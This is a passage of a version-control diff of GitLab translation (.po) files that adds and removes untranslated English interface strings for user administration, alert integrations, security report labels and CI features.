-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/vi_VN/gitlab.po b/locale/vi_VN/gitlab.po
index 1cb42453f2e..dee21e39835 100644
--- a/locale/vi_VN/gitlab.po
+++ b/locale/vi_VN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: vi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:39\n"
+"PO-Revision-Date: 2020-12-03 08:08\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -79,6 +79,10 @@ msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -146,14 +150,14 @@ msgid "%d day"
msgid_plural "%d days"
msgstr[0] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] ""
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] ""
@@ -296,22 +300,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -385,6 +380,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -457,21 +455,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -505,13 +506,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -544,9 +545,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -645,31 +643,13 @@ msgstr[0] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -725,6 +705,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -817,6 +800,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -835,12 +821,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1415,9 +1395,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1764,9 +1741,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -1989,6 +1972,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2037,16 +2029,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2073,6 +2068,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2109,6 +2107,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2148,6 +2155,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2157,6 +2173,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2166,6 +2185,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2178,7 +2206,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2389,6 +2423,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2398,9 +2450,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2428,6 +2489,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2440,7 +2507,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2449,27 +2522,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
+msgstr ""
+
+msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2479,9 +2576,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2491,6 +2585,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2503,6 +2609,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2518,16 +2627,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2632,6 +2762,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2749,9 +2882,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2872,9 +3002,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -2908,16 +3035,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -2974,6 +3104,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3001,9 +3134,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3034,6 +3164,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3052,6 +3185,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3238,6 +3374,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3296,6 +3438,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3377,6 +3522,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3428,9 +3576,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3480,6 +3625,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3752,6 +3900,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3872,6 +4026,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4160,12 +4317,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4190,6 +4353,10 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4241,6 +4408,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4499,9 +4669,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4529,6 +4696,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4625,6 +4795,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4652,6 +4825,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
